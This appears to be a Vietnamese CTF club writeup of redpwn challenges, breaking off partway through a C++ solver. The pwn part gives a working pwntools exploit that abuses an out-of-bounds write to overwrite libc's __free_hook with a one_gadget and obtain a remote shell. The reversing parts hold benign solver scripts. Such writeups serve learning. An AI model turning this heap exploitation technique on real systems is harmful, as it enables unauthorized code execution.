CLB ATTTT Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com
PWN
pivik
simultaneity
Reversing the binary
int main(){ size_t size; char *chunk; setvbuf(stdout, 0, 2, 0); puts("how big?"); scanf("%ld", &size); chunk = (char *)malloc(size); printf("you are here: %p\n", chunk); puts("how far?"); scanf("%ld", &size); puts("what?"); scanf("%zu", &chunk[8 * size]); _exit(0);}
Về mặt chức năng thì chương trình cho phép ta:
- Malloc 1 chunk có size bất kỳ.
- Chọn 1 offset với chunk đó rồi write 1 giá trị vào.
Lỗi ở đây là chương trình không check xem offset mà ta nhập có nằm trong phần chunk được malloc không, vậy nên sẽ dẫn tới lỗi out-of-bounds.
Khi mình malloc 1 chunk, ví dụ như là malloc(100) thì chunk sẽ nằm trong heap như bình thường. Nhưng gần địa chỉ của heap thì có gì thú vị? Do ASLR được bật nên địa chỉ heap được random mỗi lần chạy nên gần như là không thể tính toán được offset từ địa chỉ vừa được malloc tới libc. Vậy giờ làm sao đây? ?
Idea ở đây là mình sẽ malloc 1 chunk cực lớn(nhưng vẫn nằm trong giới hạn cho phép), thì chunk sẽ được allocate thông qua mmap
, và địa chỉ này thì được align với libc nên có thể dễ dàng tính được libc base. Mình sẽ malloc 1 chunk có size là 1000000
. Lúc này trên máy mình, địa chỉ được trả về là 0x7fa5cef75010
.
pwndbg> vmmap... 0x55744f32a000 0x55744f32b000 r--p 1000 2000 /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity 0x55744f32b000 0x55744f32c000 rw-p 1000 3000 /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity 0x55744f32c000 0x55744f32d000 rw-p 1000 5000 /home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity 0x5574509bf000 0x5574509e0000 rw-p 21000 0 [heap] 0x7fa5cef75000 0x7fa5cf06a000 rw-p f5000 0 0x7fa5cf06a000 0x7fa5cf08c000 r--p 22000 0 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6 0x7fa5cf08c000 0x7fa5cf1d4000 r-xp 148000 22000 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6 0x7fa5cf1d4000 0x7fa5cf220000 r--p 4c000 16a000 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6 0x7fa5cf220000 0x7fa5cf221000 ---p 1000 1b6000 /home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6...
Như mọi người thấy thì địa chỉ đó giờ đã được align với libc. Vậy giờ ta sẽ overwrite gì trong libc?
Có 1 trick nữa là nếu ta truyền input rất lớn vào scanf, thì nó sẽ gọi cả malloc và free để chứa input trên heap, vậy thì target sẽ là __free_hook
. Có 1 điều chú ý khi overwrite trong bài này. Do format string là %zu
nên ta không thể truyền phần padding là chữ được, nhưng nếu truyền bằng số thì với lượng padding lớn như vậy, giá trị của __free_hook
lúc đó sẽ là 0xffffffffffffffff
. Thêm 1 trick nho nhỏ nữa là phần padding đó phải là số 0 vì nếu có nhập 0000000000000000000001
thì nó vẫn là 1
.
Exploit code:
#!/usr/bin/env python3from pwn import *elf = ELF('./simultaneity')libc = ELF('./libc.so.6')p = remote('mc.ax', 31547)p.recv()p.sendline('1000000')p.recvuntil('here: ')leaked_addr = int(p.recvline().strip(), 16)log.info('leaked_addr: ' + hex(leaked_addr))libc_base = leaked_addr + 0xf4ff0log.info('libc_base: ' + hex(libc_base))free_hook = libc_base + libc.sym['__free_hook']log.info('__free_hook: ' + hex(free_hook))free_hook_offset = (free_hook - leaked_addr)//8log.info('free_hook_offset: ' + hex(free_hook_offset))one_gadget = libc_base + 0x448a3log.info('one_gadget: ' + hex(one_gadget))payload = '0'*10000 + str(one_gadget)p.recv()p.sendline(str(free_hook_offset))p.recv()p.sendline(payload)p.interactive()
pivik@kayvm: ~/CTF/redpwn/pwn/simultaneity -$ ./solve_simultaneity.py [*] '/home/pivik/CTF/redpwn/pwn/simultaneity/simultaneity' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/home/pivik/CTF/redpwn/pwn/simultaneity/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to mc.ax on port 31547: Done[*] leaked_addr: 0x7f49ac72a010[*] libc_base: 0x7f49ac81f000[*] __free_hook: 0x7f49ac9dc8e8[*] free_hook_offset: 0x5651b[*] one_gadget: 0x7f49ac8638a3[*] Switching to interactive mode$ lsflag.txtrun$ cat flag.txtflag{sc4nf_i3_4_h34p_ch4l13ng3_TKRs8b1DRlN1hoLJ}
RE
Mochi Nishi
2k
Challenge
File: chall prog.bin
Solve:
Chỉ cần nhìn vào đề bài là mình đoán được ngay đây là một bài virtual machine obfuscation. Nhiêm vụ duy nhất của chúng ta chỉ là debug một cách lì lợm để hiểu chương trình và viết script dịch opcodes. WriteUp bài này mình chỉ tóm gọn một vài chỗ đặc biệt trong chương trình.
Đây là nơi mọi thư bắt đầu. Chương trình sẽ dịch từ opcodes trong file prog.bin
thành một đoạn chương trình.
Theo như mình debug thì chương trình có tổng cộng 21 hàm tương ứng 21 opcodes. Mình viết một đoạn script nhỏ vm_parser.py để mô tả lại các dãy opcodes trong file prog.bin
Khi debug một lúc thì mình phát hiện đây chỉ là một bài tìm input thoả mãn "rất nhiều" điều kiện. Vì thế mình sẽ xài z3 solver để giải bài này.
Mình viết thêm 2 script z3_solver.py để tìm input và script_translate.py để in ra input đó. Thì ta có kết quả:
Gửi lên server:
flag{kenken_is_just_z3_064c4}
bread-making
Challenge
File: wstrings
Solve:
nguyenguyen753@MochiZou:~/CTF/redpwn/bread-making$ file bread bread: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bc53c3fba45513551ddde163ba9a41e3f6dbab7b, for GNU/Linux 3.2.0, stripped
Bỏ vào IDA xem thử thì đoạn code này làm mình chú ý đầu tiên:
Mình xem thử hàm sub_25C0()
:
À, đây là hàm mình cần đi tới, mình sẽ đặt tên hàm này lại là goodMessage()
.Ngoài ra, để đi đến để hàm này thì 5 biến trong các điều kiện if phải khác 0 hết. Mình sẽ lần lượt đặt các biến đó thành check1 ... check5:
Mình còn có 1 đoạn code nhỏ ở phía trên của chương trình:
Ta có thể đoán được ngay đây là đoạn chương trình để kiểm tra điều kiện.Để ý kĩ thì ta có hàm alarm()
và hàm signal()
. Hàm alarm(t)
có vai trò trong việc gửi signal cho process
sau một khoảng thời gian t
giây, ở đây alarm()
sẽ gửi SIGALRM
. Còn hàm signal(sig, sub)
sẽ thực hiện chương trình sub
nếu như nhận được tín hiệu sig
từ chương trình.Chương trình sử dụng lệnh signal(14, handler)
, 14
là SIGALRM
, vậy nghĩa là hàm handler
sẽ được kích hoạt sau t
giây. nhìn vô hàm handler
:
Đơn thuần chỉ là thoát chương trình.Ta có thể kết luận đây là một cơ chế anti-debugger. Để bypass đoạn này khi debug thì ta sẽ patch hàm alarm()
lại thành các lệnh nop
như sau:
Tới đây ta có thể debug để tìm hiểu chương trình.Sau một hồi debug thì mình thấy rằng chương trình có tổng cộng 11 câu hỏi, và ta phải trả lời đúng hết 11 câu hỏi đó thì 5 biến check
sẽ được bật lên thành bit 1, từ đó ta sẽ có được flag.Tới đây mình xài pwntool
để viết client-script để gửi lên server, đoạn chương trình như sau:
script.py
from pwn import *r = remote("mc.ax", 31796)#stage 1print(r.recv())r.sendline("add flour")print(r.recv())r.sendline("add yeast")print(r.recv())r.sendline("add salt")print(r.recv())r.sendline("add water")#stage 2print(r.recv())print(r.recvuntil(b'lumpy dough\n'))r.sendline("hide the bowl inside a box")print(r.recv())#stage 3print(r.recvuntil(b'rise\n'))r.sendline(b'wait 3 hours')print(r.recvuntil(b'risen'))#stage 4print(r.recvuntil(b'dough\n'))r.sendline(b'work in the basement')print(r.recvuntil('tray'))#stage 5print(r.recvuntil(b'baked\n'))r.sendline('preheat the toaster oven')print(r.recvuntil(b'orange'))#stage 6print(r.recvuntil(b'minutes\n'))r.sendline('set a timer on your phone')print(r.recvuntil(b'down'))#stage 7print(r.recvuntil(b'time\n'))r.sendline('watch the bread bake')print(r.recvuntil(b'fire'))#stage 8print(r.recvuntil(b'waste\n'))r.sendline('pull the tray out with a towel')print(r.recvuntil(b'sink'))#stage 9print(r.recvuntil(b'air\n'))r.sendline('unplug the oven')print(r.recv())r.sendline('unplug the fire alarm')print(r.recv())r.sendline('open the window')print(r.recv())#stage 10r.sendline('wash the sink')print(r.recv())r.sendline('clean the counters')print(r.recv())r.sendline('flush the bread down the toilet')print(r.recvuntil(b'of\n'))r.sendline('get ready to sleep')print(r.recv())#final stager.sendline('close the window')print(r.recv())r.sendline('replace the fire alarm')print(r.recvuntil(b'replaced\n'))r.sendline('brush teeth and go to bed')print(r.recv())print(r.recv())
Chạy chương trình để lấy flag:
flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
dimensionality
Challenge
File: chall
Solve:
nguyenguyen753@MochiZou:~/CTF/redpwn/dimensionality$ file chall chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=836b2f79d7f198a1ad5c5f9c5496138395ddf23a, for GNU/Linux 4.4.0, stripped
Ta có thể liền thấy rằng hàm sub_1410()
sẽ kiểm tra input, mình vào xem hàm này thử:
Một hồi ngồi static analysis thì mình nhận ra đây là một bài graph traversal: Cho một khối lập phương 11x11x11, số 2 là điểm bắt đầu, số 3 là điểm kết thúc, tìm đường đi từ điểm 2 tới điểm 3, với ràng buộc là đường đi chỉ chứa số 1, không được chứa số 0.Mình viết một script xài thuật toán bfs:
script1.cpp
#include <bits/stdc++.h>using namespace std;//input size = 29int bfs_map[2000] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};int val = 0xb, start = 0x54, triple_val = 0xb * 0xb * 0xb;string visited[2000];queue < int > o;void bfs() { o.push(start); while (o.size()) { int node = o.front(); o.pop(); if (bfs_map[node] == 3) break; //case 'b': int step = -(val * val); if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'b'; o.push(node + step); } //case 'd': step = val; if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'd'; o.push(node + step); } //case 'f': step = (val * val); if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'f'; o.push(node + step); } //case 'l': step = -1; if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'l'; o.push(node + step); } //case 'r': step = 1; if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'r'; o.push(node + step); } //case 'u': step = -val; if (bfs_map[node + step] != 0 && visited[node + step] == "" && 0 <= node + step && node + step <= triple_val) { visited[node + step] = visited[node] + 'u'; o.push(node + step); } }}int main() { bfs(); cout << visited[1296] << endl; return 0;}
Như các bạn đã thấy thì mình đặt tên file này là script1.cpp
. Đúng vậy, script này bị lỗi.
Script vẫn chạy ra kết quả và mình đã test thử:
Như đã thấy trong hình thì chương trình không trả về flag mà trả về các kí tự rác. Lúc này mình mới nhận ra kết quả của bài toán này không phải là duy nhất. Nên mình đã viết một version 2 cho script này:
script2.cpp
#include <bits/stdc++.h>using namespace std;//input size = 29struct data { int node; string trace;};int bfs_map[2000] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};int val = 0xb, start = 0x54, triple_val = 0xb * 0xb * 0xb;int visited[2000];vector < string > res;queue < data > o;void bfs() { o.push({start, ""}); while (o.size()) { data node = o.front(); o.pop(); if (bfs_map[node.node] == 3) { res.push_back(node.trace); continue; }// cout << node.node << endl; //case 'b': int step = -(val * val); if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 1; string trace = node.trace + 'b'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'b'; o.push({node.node + step , trace}); } } //case 'd': step = val; if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 1; string trace = node.trace + 'd'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'd'; o.push({node.node + step , trace}); } } //case 'f': step = (val * val); if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 1; string trace = node.trace + 'f'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'f'; o.push({node.node + step , trace}); } } //case 'l': step = -1; if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 1; string trace = node.trace + 'l'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'l'; o.push({node.node + step , trace}); } } //case 'r': step = 1; if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 1; string trace = node.trace + 'r'; o.push({node.node + step , trace}); } else if (visited[node.node + step] == node.trace.length() + 1) { string trace = node.trace + 'r'; o.push({node.node + step , trace}); } } //case 'u': step = -val; if (bfs_map[node.node + step] != 0 && 0 <= node.node + step && node.node + step <= triple_val) { if (visited[node.node + step] == 0) { visited[node.node + step] = node.trace.length() + 